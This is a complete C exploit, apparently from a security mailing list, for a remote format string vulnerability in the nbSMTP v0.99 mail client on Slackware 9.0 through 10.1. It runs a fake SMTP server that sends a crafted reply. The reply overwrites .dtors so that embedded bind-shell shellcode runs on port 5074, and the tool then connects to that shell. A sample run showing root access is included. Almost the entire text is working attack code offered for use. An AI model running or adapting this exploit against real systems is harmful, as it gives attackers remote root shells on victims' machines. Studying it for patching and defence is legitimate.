nbSMTP v0.99 remote format string exploit

[coki () nosystem com ar]

/* nbSMTP_fsexp.c
 *
 * nbSMTP v0.99 remote format string exploit
 * by CoKi <coki () nosystem com ar>
 *
 * root@nosystem:/home/coki/audi# ./nbSMTP_fsexp
 *
 *  nbSMTP v0.99 remote format string exploit
 *  by CoKi <coki () nosystem com ar>
 *
 *  Use: ./nbSMTP_fsexp [options]
 *
 *  options:
 *         -t <arg>    type of target system
 *         -r <arg>    return address
 *         -s <arg>    shellcode address
 *         -o <arg>    offset
 *         -l          targets list
 * 
 * root@nosystem:/home/coki/audit# ./nbSMTP_fsexp -t2
 *
 *  nbSMTP v0.99 remote format string exploit
 *  by CoKi <coki () nosystem com ar>
 *
 *  [*] system                     : Slackware Linux 10.0
 *  [*] return address             : 0x0804d8cc
 *  [*] shellcode address          : 0x08053613
 *  [*] building evil buffer       : done
 *  [*] running fake smtp server   : done
 *
 *  [*] waiting...                 : 10.0.0.1:2046 connected
 *  [*] sending evil command...    : done
 *
 *  [*] checking for shell...      : done
 *
 *  [!] you have a shell :)
 *
 * Linux servidor 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i586 unknown unknown GNU/Linux
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),102(bbs)
 *
 * Tested in Slackware Linux 9.0 / 10.0 / 10.1
 *
 * by CoKi <coki () nosystem com ar>
 * No System Group - http://www.nosystem.com.ar
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define SMTPD           25
#define BUFFERSIZE      1024
#define ERROR           -1
#define TIMEOUT         3
#define SHELL           5074

int connect_timeout(int sfd, struct sockaddr *serv_addr,
        socklen_t addrlen, int timeout);
int check(unsigned long addr);
void use(char *program);
void printlist(void);
void shell(char *host, int port);
void exploit(int retaddr, int shaddr);

/*
 * Shellcode - portbind 5074 (84 bytes)
 * by Giuseppe Gottardi 'oveRet' <overet () securitydate it>
 */

char shellcode[] = 
        "\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89"
        "\xe1\xcd\x80\x52\x43\x68\xff\x02\x13\xd2\x89\xe1"
        "\x6a\x10\x51\x50\x89\xe1\x89\xc6\xb0\x66\xcd\x80"
        "\x43\x43\xb0\x66\xcd\x80\x52\x56\x89\xe1\x43\xb0"
        "\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
        "\x41\xe2\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
        "\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

struct {
        int num;
        char *os;
        int retaddr;
        int shaddr;
}targets[] = {
        1, "Slackware Linux 9.0", 0x0804d4d4, 0x080531c3,       // .dtors
        2, "Slackware Linux 10.0", 0x0804d8cc, 0x08053613,      // .dtors
        3, "Slackware Linux 10.1", 0x0804d898, 0x08053e4e       // .dtors
        };

int main(int argc, char *argv[])
{
        char opt, *system=NULL;
        int shaddr=0, retaddr=0, targetnum=0, offset=0, i;

        printf("\n nbSMTP v0.99 remote format string exploit\n");
        printf(" by CoKi <coki () nosystem com ar>\n\n");

        while((opt = getopt(argc,argv,"r:s:t:lo:")) != EOF) {
                switch (opt) {
                        case 'r':
                                retaddr = strtoul(optarg,NULL,0);
                                system = "unknown";
                                break;
                        case 's':
                                shaddr = strtoul(optarg,NULL,0);
                                break;
                        case 't':
                                targetnum = atoi(optarg)-1;
                                if(targets[targetnum].num) {                            
                                        system = targets[targetnum].os;
                                        retaddr = targets[targetnum].retaddr;
                                        shaddr = targets[targetnum].shaddr;
                                }
                                else use(argv[0]);
                                break;
                        case 'l':
                                printlist();
                                break;
                        case 'o':
                                        offset = atoi(optarg);
                                shaddr += offset;
                                break;
                        default:
                                use(argv[0]);
                                break;
                }
        }

        if(retaddr == 0) use(argv[0]);
        if(shaddr == 0) use(argv[0]);
        if(system == NULL) {
                system = "unknown";
        }

        printf(" [*] system\t\t\t: %s\n", system);
        printf(" [*] return address\t\t: %010p\n", retaddr);

        printf(" [*] shellcode address\t\t: %010p", shaddr);
        fflush(stdout);

        if(offset) printf(" (offset %d)\n", offset);
        else printf("\n");

        exploit(retaddr, shaddr);
}

void exploit(int retaddr, int shaddr) {
        char smtp[BUFFERSIZE], temp[BUFFERSIZE], recvbuf[BUFFERSIZE], host[255];
        int sock, newsock, i, reuseaddr=1;
        unsigned int bal1, bal2;
        int cn1, cn2;
        struct sockaddr_in remoteaddr;
        struct sockaddr_in localaddr;
        int addrlen = sizeof(struct sockaddr_in);
        struct hostent *he;

        printf(" [*] building evil buffer\t:");
        fflush(stdout);

        /* adding pads */
        sprintf(smtp, "553 xx");

        /* adding return address */
        bzero(temp, sizeof(temp));
        sprintf(temp, "%s", &retaddr);
        strncat(smtp, temp, 4);
        retaddr += 2;
        sprintf(temp, "%s", &retaddr);
        strncat(smtp, temp, 4);

        /* adding nops */
        strcat(smtp, "\x90\x90\x90\x90");

        /* adding shellcode */
        strcat(smtp, shellcode);

        bal1 = (shaddr & 0xffff0000) >> 16;
        bal2 = (shaddr & 0x0000ffff);

        cn1 = bal2 - 14 - 2 - 8 - 4 - 84;
        cn1 = check(cn1);
        cn2 = bal1 - bal2;
        cn2 = check(cn2);

        /* adding evil string */
        sprintf(temp, "%%%du%%7$n%%%du%%8$n", cn1, cn2);
        strcat(smtp, temp);
        strcat(smtp, "\n");

        printf(" done\n");
        printf(" [*] running fake smtp server\t:");
        fflush(stdout);

        localaddr.sin_family = AF_INET;
        localaddr.sin_port = htons(SMTPD);
        localaddr.sin_addr.s_addr = INADDR_ANY;
        bzero(&(localaddr.sin_zero), 8);

        if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
                perror(" socket()");
                printf("\n");
                exit(1);
        }

        if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &reuseaddr,
                (socklen_t)sizeof(reuseaddr)) < 0) {
                perror(" setsockopt()");
                printf("\n");
                exit(1);
        }

        if (bind(sock, (struct sockaddr *)&localaddr, sizeof(localaddr)) < 0) {
                perror(" bind()");
                printf("\n");
                exit(1);
        }

        if (listen(sock, 1) < 0) {
                perror(" listen()");
                printf("\n");
                exit(1);
        }

        printf(" done\n");
        printf("\n [*] waiting...");
        fflush(stdout);

        if ((newsock = accept(sock, (struct sockaddr *)&remoteaddr, &addrlen)) < 0) {
                perror(" accept()");
                printf("\n");
                exit(1);
        }

        if (getpeername(newsock, (struct sockaddr *)&remoteaddr, &addrlen) < 0) {
                perror(" getpeername()");
                printf("\n");
                exit(1);
        }

        printf("\t\t\t: %s:%u connected\n", inet_ntoa(remoteaddr.sin_addr), ntohs(remoteaddr.sin_port));
        fflush(stdout);

        printf(" [*] sending evil command...\t:");
        fflush(stdout);

        bzero(temp, sizeof(temp));
        sprintf(temp, "220\n");

        if (write(newsock, temp, strlen(temp)) <= 0) {
                perror(" write()");
                printf("\n");
                exit(1);
        }

        if (read(newsock, recvbuf, sizeof(recvbuf)) <= 0) {
                perror(" read()");
                printf("\n");
                exit(1);
        }

        bzero(temp, sizeof(temp));
        sprintf(temp, "250\n");

        if (write(newsock, temp, strlen(temp)) <= 0) {
                perror(" write()");
                printf("\n");
                exit(1);
        }

        if (read(newsock, recvbuf, sizeof(recvbuf)) <= 0) {
                perror(" read()");
                printf("\n");
                exit(1);
        }

        if (write(newsock, smtp, strlen(smtp)) <= 0) {
                perror(" write()");
                printf("\n");
                exit(1);
        }

        close(sock);
        close(newsock);

        printf(" done\n\n");
        fflush(stdout);
                
        printf(" [*] checking for shell...\t:");
        fflush(stdout);

        sprintf(host, "%s", inet_ntoa(remoteaddr.sin_addr));
        sleep(1);

        shell(host, SHELL);
}

void shell(char *host, int port) {
        int sockfd, n;
        char buff[BUFFERSIZE], *command = "uname -a; id;\n";
        fd_set readfs;
        struct hostent *he;
        struct sockaddr_in dest_dir;

        if((he=gethostbyname(host)) == NULL) {
                herror(" gethostbyname()");
                printf("\n");
                exit(1);
        }

        if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
                perror(" socket()");
                printf("\n");
                exit(1);
        }

        dest_dir.sin_family = AF_INET;
        dest_dir.sin_port = htons(port);
        dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
        bzero(&(dest_dir.sin_zero), 8);

        if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
                sizeof(struct sockaddr), TIMEOUT) == ERROR) {

                printf(" failed!\n\n");
                exit(1);
        }

        printf(" done");
        fflush(stdout);

        /* owned ;) */
        printf("\n\n [!] you have a shell :)\n\n");
        fflush(stdout);

        send(sockfd, command, strlen(command), 0);

        while(1) {
                FD_ZERO(&readfs);
                FD_SET(0, &readfs);
                FD_SET(sockfd, &readfs);
                if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0);
                if(FD_ISSET(0,&readfs)) {
                        if((n = read(0,buff,sizeof(buff))) < 1)
                        exit(0);
                        if(send(sockfd, buff, n, 0) != n) exit(0);
                }
                if(FD_ISSET(sockfd,&readfs)) {
                        if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
                        write(1, buff, n);
                }
        }
}

int connect_timeout(int sfd, struct sockaddr *serv_addr,
        socklen_t addrlen, int timeout) {

        int res, slen, flags;
        struct timeval tv;
        struct sockaddr_in addr;
        fd_set rdf, wrf;

        fcntl(sfd, F_SETFL, O_NONBLOCK);

        res = connect(sfd, serv_addr, addrlen);

        if (res >= 0) return res;

        FD_ZERO(&rdf);
        FD_ZERO(&wrf);

        FD_SET(sfd, &rdf);
        FD_SET(sfd, &wrf);
        bzero(&tv, sizeof(tv));
        tv.tv_sec = timeout;

        if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
                return -1;

        if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
                slen = sizeof(addr);
                if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
                        return -1;

                flags = fcntl(sfd, F_GETFL, NULL);
                fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);

                return 0;
        }

        return -1;
}

int check(unsigned long addr) {
        char tmp[128];
        snprintf(tmp, sizeof(tmp), "%d", addr);
        if(atoi(tmp) < 10)
        addr = addr + 65536;

        return addr;
}

void use(char *program) {
        printf(" Use: %s [options]\n", program);
        printf("\n options:\n");
        printf("        -t <arg>    type of target system\n");
        printf("        -r <arg>    return address\n");
        printf("        -s <arg>    shellcode address\n");
        printf("        -o <arg>    offset\n");
        printf("        -l          targets list\n\n");
        exit(1);
}

void printlist(void) {
        int i=0;

        printf(" targets\n");
        printf(" -------\n\n");

        while(targets[i].num) {
                printf(" [%d] %s\n", targets[i].num, targets[i].os);
                i++;
        }
        
        printf("\n");
        exit(0);
}